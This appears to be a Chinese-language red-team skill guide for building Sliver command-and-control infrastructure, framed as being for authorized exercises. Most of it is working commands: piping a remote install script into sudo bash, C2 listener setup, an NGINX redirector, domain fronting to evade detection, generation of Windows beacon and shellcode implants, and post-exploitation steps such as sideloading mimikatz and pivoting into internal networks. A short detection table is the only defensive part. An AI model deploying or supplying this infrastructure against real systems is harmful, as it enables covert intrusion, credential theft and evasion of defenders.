| name | building-c2-infrastructure-with-sliver-framework |
| description | 使用 BishopFox 的 Sliver C2 框架构建和配置具备韧性的命令与控制(Command-and-Control)基础设施,包含重定向器(redirector)、HTTPS 监听器和多操作员支持,适用于授权红队(Red Team)演练。 |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["red-team","c2-framework","sliver","command-and-control","adversary-simulation","infrastructure","post-exploitation"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
使用 Sliver 框架构建 C2 基础设施
概述
Sliver 是由 BishopFox 开发的开源、跨平台对手模拟(adversary emulation)框架,使用 Go 语言编写。它为红队提供植入物(implant)生成、多协议 C2 信道(mTLS、HTTP/S、DNS、WireGuard)、多操作员支持以及丰富的后渗透(post-exploitation)能力。Sliver 支持信标(beacon,异步)模式和会话(session,交互式)模式,既适合长期潜伏行动,也适合交互式利用。架构良好的 Sliver 基础设施通过重定向器、域前置(domain fronting)和 HTTPS 证书来维持运营韧性并规避检测。
目标
- 在加固的云基础设施上部署 Sliver 团队服务器
- 配置 HTTPS、mTLS、DNS 和 WireGuard 监听器
- 为目标平台生成植入物(信标和会话)
- 在植入物和团队服务器之间设置 NGINX 或 Apache 重定向器
- 实施基于 Cloudflare 或 CDN 的域前置以混淆流量
- 使用基于证书的认证配置多操作员访问
- 为 C2 通信建立操作安全(OPSEC)控制措施
MITRE ATT&CK 映射
- T1071.001 - 应用层协议:Web 协议
- T1071.004 - 应用层协议:DNS
- T1573.002 - 加密信道:非对称加密
- T1090.002 - 代理:外部代理(重定向器)
- T1105 - 入侵工具传输
- T1132.001 - 数据编码:标准编码
- T1572 - 协议隧道
实施步骤
阶段一:团队服务器部署
- 为团队服务器配置 VPS(例如 DigitalOcean、Linode、AWS EC2)
- 加固操作系统:禁用 SSH 密码认证、配置 UFW/iptables、安装 fail2ban
- 使用官方安装脚本安装 Sliver:
curl https://sliver.sh/install | sudo bash
- 启动 Sliver 服务器守护进程:
systemctl start sliver
sliver-server
- 为团队成员生成操作员配置文件:
new-operator --name operator1 --lhost <team-server-ip>
阶段二:监听器配置
- 使用合法 SSL 证书配置 HTTPS 监听器:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
- 配置 DNS 监听器作为备用 C2:
dns --domains c2dns.example.com --lport 53
- 为高安全会话配置 mTLS 监听器:
mtls --lhost 0.0.0.0 --lport 8888
- 配置 WireGuard 监听器以实现隧道访问:
wg --lport 51820
阶段三:重定向器设置
- 部署独立 VPS 作为重定向器(位于目标和团队服务器之间)
- 安装并配置 NGINX 作为反向代理:
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
- 在团队服务器上配置 iptables 规则,仅接受来自重定向器的连接:
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
- 可选:在重定向器前面设置 Cloudflare 作为 CDN 层以实现域前置
阶段四:植入物生成
- 生成 HTTPS 信标植入物:
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
- 为受限网络生成 DNS 信标:
generate beacon --dns c2dns.example.com --os windows --arch amd64
- 生成用于注入的 shellcode 载荷:
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
- 配置信标抖动(jitter)和回调间隔:
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
阶段五:后渗透操作
- 与活跃信标/会话交互:
beacons
use <beacon-id>
- 执行后渗透模块:
ps
netstat
execute-assembly /path/to/Seatbelt.exe -group=all
sideload /path/to/mimikatz.dll
- 设置枢纽(pivot)以访问内部网络:
pivots tcp --bind 0.0.0.0:9898
- 使用 BOF(Beacon Object Files,信标对象文件)实现内存执行:
armory install sa-ldapsearch
sa-ldapsearch -- "(objectClass=user)"
工具与资源
| 工具 | 用途 | 平台 |
|---|
| Sliver Server | C2 团队服务器和植入物管理 | Linux/macOS/Windows |
| Sliver Client | 团队成员操作员控制台 | 跨平台 |
| NGINX | 重定向器和反向代理 | Linux |
| Certbot | Let's Encrypt SSL 证书生成 | Linux |
| Cloudflare | CDN 和域前置 | 云端 |
| Armory | Sliver 扩展/BOF 包管理器 | 内置 |
检测特征
| 指标 | 检测方法 |
|---|
| 默认 Sliver HTTP 头部 | 网络流量分析,查找异常 User-Agent 字符串 |
| 非标准端口上的 mTLS | 防火墙日志,监控到异常端口的出站连接 |
| 高熵 DNS TXT 记录查询 | DNS 日志分析,检测编码的 C2 流量 |
| 51820 端口上的 WireGuard UDP 流量 | 网络流量分析,检测 WireGuard 握手模式 |
| Sliver 植入物文件哈希 | EDR/AV 针对已知 Sliver 样本的特征匹配 |
验证标准